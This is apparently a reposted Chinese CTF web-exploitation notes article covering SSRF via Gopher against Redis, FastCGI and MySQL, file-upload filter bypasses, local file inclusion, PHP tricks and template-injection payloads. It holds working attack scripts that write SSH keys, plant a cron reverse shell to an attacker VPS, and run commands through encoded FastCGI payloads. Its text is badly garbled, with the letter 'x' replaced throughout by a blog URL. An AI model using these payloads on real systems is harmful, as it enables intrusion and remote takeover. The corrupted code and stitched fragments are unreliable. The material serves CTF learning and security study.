yjprolus/article/details/xZbTRUlhttps://blog.csdn.net/yjprolus/article/details/xpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBhttps://blog.csdn.net/yjprolus/article/details/xedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami'config set dir /root/.ssh/config set dbfilename authorized_keyssave
然后编写脚本,将其转化为Gopher协议的格式:
import urllibprotocol="gopher://"ip="192.168.52.131"port="6379"ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27Zhttps://blog.csdn.net/yjprolus/article/details/xGOcRR95FT6zrfFhttps://blog.csdn.net/yjprolus/article/details/xqt2h56oLwml/Trhttps://blog.csdn.net/yjprolus/article/details/xy5sEhttps://blog.csdn.net/yjprolus/article/details/xSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ahttps://blog.csdn.net/yjprolus/article/details/x2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4https://blog.csdn.net/yjprolus/article/details/xsFDCfambjmYzbhttps://blog.csdn.net/yjprolus/article/details/x9O2fzl8F67jsTq8BVZhttps://blog.csdn.net/yjprolus/article/details/xy5XvSsoHdCtr7vhttps://blog.csdn.net/yjprolus/article/details/xqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnhttps://blog.csdn.net/yjprolus/article/details/xBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlhttps://blog.csdn.net/yjprolus/article/details/xwZ0aC15GOwJhjTpTMKq9jrRdGdkIrhttps://blog.csdn.net/yjprolus/article/details/xLKe+XqQnjhttps://blog.csdn.net/yjprolus/article/details/xtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5https://blog.csdn.net/yjprolus/article/details/xZbTRUlhttps://blog.csdn.net/yjprolus/article/details/xpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBhttps://blog.csdn.net/yjprolus/article/details/xedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami\n\n"filename="authorized_keys"path="/root/.ssh/"passwd=""cmd=["flushall", "set 1 {}".format(ssh_pub.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ]if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for https://blog.csdn.net/yjprolus/article/details/x in redis_arr:cmd+=CRLF+"$"+str(len((https://blog.csdn.net/yjprolus/article/details/x.replace("${IFS}"," "))))+CRLF+https://blog.csdn.net/yjprolus/article/details/x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for https://blog.csdn.net/yjprolus/article/details/x in cmd:payload += urllib.quote(redis_format(https://blog.csdn.net/yjprolus/article/details/x))print payload
生成的payload同样进行url二次编码,然后利用Ubuntu服务器上的SSRF打过去:
ssrf.php?url=gopher%3A%2F%2F192.168.52.131%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%2524568%250D%250A%250A%250Assh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E%2F45IEs%2F9a6AWfXb6iwzo%252BD62y8MOmt%252Bsct27Zhttps://blog.csdn.net/yjprolus/article/details/xGOcRR95FT6zrfFhttps://blog.csdn.net/yjprolus/article/details/xqt2h56oLwml%2FTrhttps://blog.csdn.net/yjprolus/article/details/xy5sEhttps://blog.csdn.net/yjprolus/article/details/xSQ%2FcvvLwUTWb3ntJYyh2eGkQnOf2d%252Bahttps://blog.csdn.net/yjprolus/article/details/x2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH%2F4https://blog.csdn.net/yjprolus/article/details/xsFDCfambjmYzbhttps://blog.csdn.net/yjprolus/article/details/x9O2fzl8F67jsTq8BVZhttps://blog.csdn.net/yjprolus/article/details/xy5XvSsoHdCtr7vhttps://blog.csdn.net/yjprolus/article/details/xqFUd%2FbWcrZ5F1pEQ8tnEBYsyfMK0NuMnhttps://blog.csdn.net/yjprolus/article/details/xBdquNVSlyQ%2FNnHKyWtI%2FOzzyfvtAGO6vf3dFSJlhttps://blog.csdn.net/yjprolus/article/details/xwZ0aC15GOwJhjTpTMKq9jrRdGdkIrhttps://blog.csdn.net/yjprolus/article/details/xLKe%252BXqQnjhttps://blog.csdn.net/yjprolus/article/details/xtk4giopiFfRu8winE9scqlIA5Iu%2Fd3O454ZkYDMud7zRkSI17lP5rq3A1f5https://blog.csdn.net/yjprolus/article/details/xZbTRUlhttps://blog.csdn.net/yjprolus/article/details/xpa3Pcuolg%2FOOhoA3iKNhJ%2FJT31TU9E24dGh2Ei8K%252BPpT92dUnFDcmbEfBBQz7llHUUBhttps://blog.csdn.net/yjprolus/article/details/xedy44Yl%252BSOsVHpNqwFcrgsq%2FWR5BGqnu54vTTdJh0pSrl%252BtniHEnWWU%253D%2520root%2540whoami%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252411%250D%250A%2Froot%2F.ssh%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252415%250D%250Aauthorized_keys%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
如下图,成功在主机192.168.52.131上面写入SSH公钥:
如下图,ssh连接成功:
注意:这个只能在Centos上使用,别的不行,好像是由于权限的问题。
构造redis的命令如下:
flushallset 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107/2333 0>&1\n\n'config set dir /var/spool/cron/config set dbfilename rootsave// 47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107为攻击者vps的IP
然后编写脚本,将其转化为Gopher协议的格式:
import urllibprotocol="gopher://"ip="192.168.52.131"port="6379"reverse_ip="47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107"reverse_port="2333"cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)filename="root"path="/var/spool/cron"passwd=""cmd=["flushall", "set 1 {}".format(cron.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ]if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for https://blog.csdn.net/yjprolus/article/details/x in redis_arr:cmd+=CRLF+"$"+str(len((https://blog.csdn.net/yjprolus/article/details/x.replace("${IFS}"," "))))+CRLF+https://blog.csdn.net/yjprolus/article/details/x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for https://blog.csdn.net/yjprolus/article/details/x in cmd:payload += urllib.quote(redis_format(https://blog.csdn.net/yjprolus/article/details/x))print payload
生成的payload同样进行url二次编码,然后利用Ubuntu服务器上的SSRF打过去,即可在目标主机192.168.52.131上写入计划任务,等到时间后,攻击者vps上就会获得目标主机的shell:
[GKCTF2020]EZ三剑客-EzWeb这道题利用的就是攻击内网Redis的思路。
FastCGI指快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。
众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要通过浏览器进行解析,而动态网站需要一个额外的编译解析的过程。以Apache为例,当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,Web容器就会把这个请求进行简单的处理,然后如果使用的是CGI,就会启动CGI程序(对应的就是PHP解释器)。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。
这里说的是使用CGI,而FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次,所以FastCGI的主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能 。
FPM(FastCGI 进程管理器)可以说是FastCGI的一个具体实现,用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。
攻击FastCGI的主要原理就是,在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/indehttps://blog.csdn.net/yjprolus/article/details/x.php
这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。
而在PHP 5.3.9后来的版本中,PHP增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在PHP允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改PHP的设置。
那么当设置PHP环境变量为:auto_prepend_file = php://input;allow_url_include = On
时,就会在执行PHP脚本之前包含环境变量auto_prepend_file
所指向的文件内容,php://input
也就是接收POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。
详情请见:《SSRF系列之攻击FastCGI》
测试环境:
WEB服务器Ubuntu(192.168.43.166)存在SSRF漏洞:
并且WEB服务器Ubuntu上存在FastCGI,那么我们就可以利用其SSRF漏洞去攻击其本地的FastCGI。
假设在配置fpm时,将监听的地址设为了0.0.0.0:9000,那么就会产生php-fpm未授权访问漏洞,此时攻击者可以无需利用SSRF从服务器本地访问的特性,直接与服务器9000端口上的php-fpm进行通信,进而可以用fcgi_ehttps://blog.csdn.net/yjprolus/article/details/xp等工具去攻击服务器上的php-fpm实现任意代码执行。
当内网中的其他主机上配置有fpm,且监听的地址为0.0.0.0:9000时,那么这台主机就可能存在php-fpm未授权访问漏洞,我们便可以利用Ubuntu服务器上的SSRF去攻击他,如果内网中的这台主机不存在php-fpm未授权访问漏洞,那么就直接利用Ubuntu服务器上的SSRF去攻击他显然是不行的。
下载地址:https://GitHub.com/piaca/fcgi_ehttps://blog.csdn.net/yjprolus/article/details/xp
这个工具主要是用来攻击未授权访问php-fpm的,可用来测试是否可以直接攻击php-fpm,但需要自己将生成的payload进行转换一下。
该工具需要go语言环境,下载后进入目录执行如下命令进行编译:
go build fcgi_ehttps://blog.csdn.net/yjprolus/article/details/xp.go # 编译fcgi_ehttps://blog.csdn.net/yjprolus/article/details/xp.go
编译完成后,我们在攻击机上使用nc -lvvp 2333 > fcg_ehttps://blog.csdn.net/yjprolus/article/details/xp.thttps://blog.csdn.net/yjprolus/article/details/xt
监听2333 端口来接收fcgi_ehttps://blog.csdn.net/yjprolus/article/details/xp生成的payload,另外再开启一个终端使用下面的命令来向2333端口发送payload:
./fcgi_ehttps://blog.csdn.net/yjprolus/article/details/xp system 127.0.0.1 2333 /var/www/html/indehttps://blog.csdn.net/yjprolus/article/details/x.php "id"
生成的fcg_ehttps://blog.csdn.net/yjprolus/article/details/xp.thttps://blog.csdn.net/yjprolus/article/details/xt文件的内容是接收到的payload,内容如下:
然后对fcg_ehttps://blog.csdn.net/yjprolus/article/details/xp.thttps://blog.csdn.net/yjprolus/article/details/xt文件里的payload进行url编码,这里通过如下脚本实现(脚本是我从网上白嫖的嘿嘿):
# -*- coding: UTF-8 -*-from urllib.parse import quote, unquote, urlencodefile = open('fcg_ehttps://blog.csdn.net/yjprolus/article/details/xp.thttps://blog.csdn.net/yjprolus/article/details/xt','r')payload = file.read()print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))
执行上面的python脚本生成如下payload:
这里还要对上面的payload进行二次url编码,然后将最终的payload内容放到?url=后面发送过去:
ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2514%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509%255BPHP_VALUEallow_url_include%2520%253D%2520On%250Ddisable_functions%2520%253D%2520%250Dsafe_mode%2520%253D%2520Off%250Dauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findehttps://blog.csdn.net/yjprolus/article/details/x.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2500%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----0vcdb34oju09b8fd-----%250D%2527%2529%253B%253F%253E
如下图所示,命令执行成功:
下载地址:https://github.com/tarunkant/Gopherus
该工具可以帮你生成符合Gopher协议格式的payload,以利用SSRF攻击Redis、FastCGI、MySql等内网应用。
使用Gopherus工具生成攻击FastCGI的payload:
python gopherus.py --ehttps://blog.csdn.net/yjprolus/article/details/xploit fastcgi/var/www/html/indehttps://blog.csdn.net/yjprolus/article/details/x.php # 这里输入的是一个已知存在的php文件id # 输入一个你要执行的命令
然后还是将得到的payload进行二次url编码,将最终得到的payload放到?url=后面打过去过去:
ssrf.php?url=gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/indehttps://blog.csdn.net/yjprolus/article/details/x.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
命令执行成功。
首先我们要先了解一下MySql数据库用户认证的过程。MySQL分为服务端和客户端。MySQL数据库用户认证采用的是 挑战/应答 的方式,即服务器生成该挑战码(scramble)并发送给客户端,客户端用挑战码将自己的密码进行加密后,并将相应的加密结果返回给服务器,服务器本地用挑战码的将用户的密码加密,如果加密的结果和用户返回的加密的结果相同则用户认证成功,从而完成用户认证的过程。
登录时需要用服务器发来的挑战码(scramble)将密码加密,但是当数据库用户密码为空时,加密后的密文也为空。客户端给服务端发的认证包就是相对固定的了。这样就无需交互了,可以通过Gopher协议来直接发送了。
测试环境如下:
Ubuntu服务器为WEB服务器,存在SSRF漏洞,且上面运行着MySql服务,用户名为whoami,密码为空并允许空密码登录。
下面我们还是使用Gopherus工具生成攻击Ubuntu服务器本地MySql的payload:
python gopherus.py --ehttps://blog.csdn.net/yjprolus/article/details/xploit mysqlwhoami # 登录用的用户名show databases; # 登录后要执行的sql语句
生成如下payload:
将得到的paylaod进行url二次编码,然后将最终的payload内容放到?url=后面发送打过去就行了。但是我这里失败了,不知道为什么…
推荐一个SSRF练习靶场:
该靶场有一个好看又简洁的界面,提供了最基本的 REST API 和客户端 WebHook 功能用于 SSRF 测试。配置请看:https://www.heibai.org/post/1287.html
本文多为笔者的学习总结,若有不当的地方还望各位经过的路过的大佬多多点评。
给上传脚本加上相应的头字节进行绕过,例如 GIF89a
auto_prepend_file=1.jpg
绕过思路:对文件的内容,数据。数据包进行处理。
关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"将form-data; 修改为~form-data;
通过替换大小写来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: application/octet-stream将Content-Disposition 修改为content-Disposition将 form-data 修改为Form-data将 Content-Type 修改为content-Type
通过删减空格来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: application/octet-stream将Content-Disposition: form-data 冒号后面 增加或减少一个空格将form-data; name="file"; 分号后面 增加或减少一个空格将 Content-Type: application/octet-stream 冒号后面 增加一个空格
通过字符串拼接绕过
看Content-Disposition: form-data; name="file"; filename="yjh3.php"将 form-data 修改为 f+orm-data将 from-data 修改为 form-d+ata
双文件上传绕过
HTTP header 属性值绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"我们通过替换form-data 为*来绕过Content-Disposition: *; name="file"; filename="yjh.php"
HTTP header 属性名称绕过
源代码:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png绕过内容如下:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pnGC.php"删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".
等效替换绕过
原内容:Content-Type: multipart/form-data; boundary=---------------------------471463142114修改后:Content-Type: multipart/form-data; boundary =---------------------------471463142114boundary后面加入空格。
修改编码绕过
使用UTF-16、Unicode、双URL编码等等
原内容:Content-Disposition: form-data; name="up_picture"; filename="https://blog.csdn.net/yjprolus/article/details/xss.php"添加回车Content-Disposition: form-data; name="up_picture"; filename="https://blog.csdn.net/yjprolus/article/details/xss.php"
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。Content-Disposition: form-data; name="up_picture"; filename="https://blog.csdn.net/yjprolus/article/details/xss.jpg .Php"
源代码:Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg修改如下:Content-Disposition: form-data; name="img_crop_file"; filename="1.php"没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。
源代码:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png绕过内容如下:Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngContent-Disposition 修改为 Content-空格Disposition
php://filter/convert.base64-encode/resource=login.php(过滤了操作名read)php://filter/read=convert.base64-encode/resource=1.jpg/resource=./show.php(正则 /resource=*.jpg/i)data:tehttps://blog.csdn.net/yjprolus/article/details/xt/plain,<?php phpinfo()?>data:tehttps://blog.csdn.net/yjprolus/article/details/xt/plain;base64,PD9waHAgcGhwaW5mbygpPz4=phar://test.zip/phpinfo.thttps://blog.csdn.net/yjprolus/article/details/xtphp://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=flag.phpphp://filter/string.rot13/resource=flag.phpphp://filter/string.toupper/resource=flag.phpphp://filter/string.tolower/resource=flag.phpphp://filter/convert.quoted-printable-encode/resource=flag.phpphp://filter/zlib.deflate|zlib.inflate/resource=flag.phpphp://input & POST: ` phpinfo();?>`
phpinfo();?>
常见存放位置:
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
// TODO
利用条件: 需要知道服务器日志的存储路径,且日志文件可读。
用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。某些场景中,log的地址是被修改掉的,可以通过读取相应的配置文件后,再进行包含。
shell连接ssh sh ''@host
,密码随便输,之后包含host的ssh-log即可
利用条件:php以cgi方式运行,这样environ才会保持UA头;environ文件存储位置已知,且environ文件可读。
/proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。
LFI Cheat Sheet (highon.coffee)
php中上传文件,会创建临时文件。在linuhttps://blog.csdn.net/yjprolus/article/details/x下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linuhttps://blog.csdn.net/yjprolus/article/details/x下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
??从一道ctf题学习mysql任意文件读取漏洞-安全客 - 安全资讯平台 (anquanke.com)
利用条件: php < 5.2.8
目录字符串,在linuhttps://blog.csdn.net/yjprolus/article/details/x下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
利用条件: php < 5.3.4
include
函数解 urlencode 的特性来编码绕过在phpinfo中如果看到register_argc_argv
开放,可以获取外部的参数,以+
作为分隔符
利用各种函数的返回值进行拼接
利用^符号异或出想要的东西
利用等价表达式
_
system()
ehttps://blog.csdn.net/yjprolus/article/details/xec()
shell_ehttps://blog.csdn.net/yjprolus/article/details/xec()(反引号也可以)
passthru()
pcntl_ehttps://blog.csdn.net/yjprolus/article/details/xec()
popen()
proc_open()
create_function()
这个是逃逸后可以命令执行
disable_function
限制命令长度
限制回显长度
过滤字符
空格
bash环境
某些函数名
截断符号
fuzz得出没被过滤的
利用base编码绕过
用两个单引号
比如命令 cat /etc/passwd
等价于 cat /etc/pass’w’d
只需要利用NaN(float)和’NaN’(string)即可(INF等同理)
绕过sql,md5(‘ffifdyop’,true)= 'or’6https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x
当raw设置为true时输入 ffifdyop 可以对单引号进行闭合
经过md5编码后返回的原始二进制不是普通的二进制(因为raw为true),而是’or’6\https://blog.csdn.net/yjprolus/article/details/xc9]\https://blog.csdn.net/yjprolus/article/details/x99\https://blog.csdn.net/yjprolus/article/details/xe9!r,\https://blog.csdn.net/yjprolus/article/details/xf9\https://blog.csdn.net/yjprolus/article/details/xedb\https://blog.csdn.net/yjprolus/article/details/x1c 这种。这样的话就会和前面的形成闭合,构成万能密码;
弱类型绕过和强类型绕过
影响版本
PHP5.3 及以下
include函数有这么一个神奇的功能:若以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。(存疑)
(CVE-2016-7124)
影响版本:
· PHP before 5.6.25
· 7.https://blog.csdn.net/yjprolus/article/details/x before 7.0.10
PHP5.https://blog.csdn.net/yjprolus/article/details/x
可绕过进行代码执行,见P神的文章
通过pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。
回溯次数上限pcre.backtrack_limit相关的安全问题
%0A,%0D 参数污染相关问题
删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,传参NULL即可匹配。
第二个参数写入数据如果是数组的话,会被连接起来写入文件。但是这样就能绕过前面的过滤。
json_encode:将数组转换为json,只支持utf8格式的数据。json_encode 会自动将utf8格式的汉字转为unicode格式。gbk格式的数据只能输出NULL。
json_decode:可以解析unicode编码格式的字符串,官方说明只能解析utf-8编码的数据。 英文字符不区分编码格式,encode decode都能解析。
json_decode:可以当作mysql的分隔符: 空格 + \f \n \r \t \u0009 \u000A \u000B \u000C \u000D \u0020 \u002B
举例:
md5,sha1,strpos
寻找位点
正向构造
切入点——__wakeup()——其他
反向推理
从flag开始推起
if (preg_match(‘/[oc]:\d+:/i’, ‘O:4:“Demo”:1:{s:10:“Demofile”;s:16:“f15g_1s_here.php”;}’)) 进行这种正则判断的时候,可以在数字前加’+'号来绕过,数字的正号在序列化后的字符串中可以省略,但是可以绕过正则
{{config|attr('\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5fcla'~'ss\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5f')|attr('\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5fini'~'t\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5f')|attr('\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5fglob'~'als\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5f')|attr('\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5fgeti'~'tem\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5f')('o'~'s')|attr('popen')('cat /etc/h????')|attr('read')()}}?name={{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
来源地址:https://blog.csdn.net/yjprolus/article/details/122903841
--结束END--
本文标题: 最全CTF Web题思路总结(更新ing)
本文链接: https://lsjlt.com/news/390647.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0